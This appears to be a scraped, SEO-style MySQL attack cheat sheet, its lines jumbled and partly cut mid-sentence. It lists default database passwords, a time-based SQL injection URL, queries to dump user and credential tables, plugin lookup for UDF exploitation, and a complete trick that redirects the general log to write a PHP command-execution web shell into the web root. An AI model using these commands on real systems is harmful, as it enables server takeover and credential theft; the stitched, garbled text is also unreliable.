Mysql Hacktricks Verified _top_ Jun 2026

Use SELECT ... INTO DUMPFILE to write files to the system, which can be used to drop a web shell if a web server is present.

Dump interesting tables: SELECT * FROM users; , SELECT * FROM credentials; . mysql hacktricks verified

root:root , root:password , root:toor , admin: , mysql:mysql . Use SELECT

http://example.com/vulnerable-page?id=1 AND SLEEP(5) -- - SELECT * FROM credentials

: Identify where the database stores its plugins, which is crucial for advanced exploitation like UDF. Command: SHOW VARIABLES LIKE '%plugin%';

SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['c']); ?>"; -- Then access shell.php?c=id

SHOW VARIABLES LIKE 'secure_file_priv';